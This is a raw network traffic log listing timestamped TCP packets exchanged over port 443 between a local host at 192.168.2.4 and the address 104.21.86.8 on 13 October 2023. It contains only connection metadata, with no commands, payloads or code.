Oct 13, 2023 16:06:11.842459917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.842488050 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.842499971 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.844151020 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.844170094 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.844208956 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.844217062 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.844229937 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.844250917 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.845740080 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.845763922 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.845803022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.845812082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.845839024 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.845851898 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.847661018 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.847681999 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.847754002 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.847760916 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.847867012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.847867012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.849071980 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.849092960 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.849136114 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.849142075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.849203110 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.849203110 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.850614071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.850636005 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.850680113 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.850686073 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.850713015 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.850728989 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.852721930 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.852749109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.852792978 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.852799892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.852829933 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.852839947 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.854722023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.854742050 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.854775906 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.854783058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.854809046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.854819059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.856132984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.856153965 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.856188059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.856194973 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.856221914 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.856340885 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.858385086 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.858408928 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.858445883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.858453035 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.858468056 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.858488083 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.860428095 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.860446930 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.860486984 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.860496044 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.860524893 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.860541105 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.861890078 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.861912966 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.861944914 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.861951113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.861973047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.861983061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.863293886 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.863318920 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.863358021 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.863364935 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.863394022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.863404036 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.864547968 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.864572048 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.864603996 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.864609957 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.864630938 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.864648104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.865946054 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.865964890 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.865993977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.866000891 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.866024017 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.866045952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.867391109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.867413998 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.867453098 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.867460966 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.867487907 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.867502928 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.868598938 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.868622065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.868675947 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.868681908 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.868710041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.868726969 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.869857073 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.869874954 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.869916916 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.869923115 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.869951963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.869976997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.871408939 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.871428967 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.871469975 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.871478081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.871505022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.871525049 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.872747898 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.872767925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.872813940 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.872819901 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.872864008 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.872878075 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.874526024 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.874546051 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.874589920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.874598026 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.874629021 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.874639034 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.875658035 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.875678062 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.875709057 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.875715971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.875793934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.875793934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.877276897 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.877306938 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.877336979 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.877345085 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.877365112 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.877379894 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.878901005 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.878921032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.878982067 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.878989935 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.879054070 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.879054070 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.880475998 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.880497932 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.880532026 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.880538940 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.880553961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.880578995 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.881562948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.881588936 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.881618977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.881627083 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.881653070 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.881665945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.882833004 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.882855892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.882893085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.882900000 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.882925987 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.882944107 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.883860111 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.883886099 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.883924961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.883932114 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.883961916 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.883981943 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.884769917 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.885174036 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.885194063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.885226011 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.885232925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.885257959 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.885274887 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.885967970 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.886257887 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.886276960 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.886317968 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.886324883 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.886354923 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.886368990 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.887212992 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.887644053 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.887665033 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.887703896 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.887711048 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.887736082 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.887752056 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.889086008 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.889106989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.889167070 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.889175892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.889205933 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.889219999 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.889568090 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.890264988 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.890289068 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.890326977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.890333891 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.890368938 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.890382051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.891514063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.891532898 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.891582012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.891591072 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.891628027 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.892862082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.892884016 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.892915964 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.892923117 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.892952919 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.892972946 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.893409967 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.894371033 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.894397974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.894428015 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.894440889 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.894462109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.894476891 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.895968914 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.895987988 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.896042109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.896049976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.896087885 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.898077965 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.898109913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.898144960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.898152113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.898176908 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.898192883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.900158882 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.900454998 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.900476933 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.900520086 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.900526047 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.900551081 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.900568008 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.902462006 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.902483940 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.902513981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.902520895 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.902544022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.902563095 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.903879881 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.903898954 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.903947115 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.903953075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.903990984 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.904689074 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.904716015 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.904756069 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.904762983 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.904776096 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.904794931 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.905472994 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.905502081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.905530930 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.905538082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.905563116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.905576944 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.905817986 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.906338930 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.906358004 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.906393051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.906400919 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.906434059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.906445980 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907268047 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907294989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907322884 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907330036 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907351017 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907370090 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907798052 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907819986 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907862902 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907870054 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.907882929 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.907907963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908237934 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908257961 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908284903 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908293009 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908317089 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908334970 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908735037 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908761024 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908792019 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908798933 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.908823967 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.908834934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.910096884 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.910137892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.910185099 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.910190105 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.910218000 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.910228014 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.911052942 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.911072969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.911109924 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.911118031 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.911144018 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.911154985 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.912142038 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.912162066 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.912194967 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.912203074 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.912218094 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.912237883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.913480043 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.913501024 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.913566113 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.913573980 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.913647890 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.914851904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.914877892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.914921999 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.914928913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.914958954 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.914971113 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.915952921 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.915972948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.916014910 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.916022062 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.916064978 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.917203903 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.917228937 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.917282104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.917290926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.917303085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.917327881 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.917623997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.918060064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.918087959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.918133974 CEST	49779	443	192.168.2.4	104.21.86.8
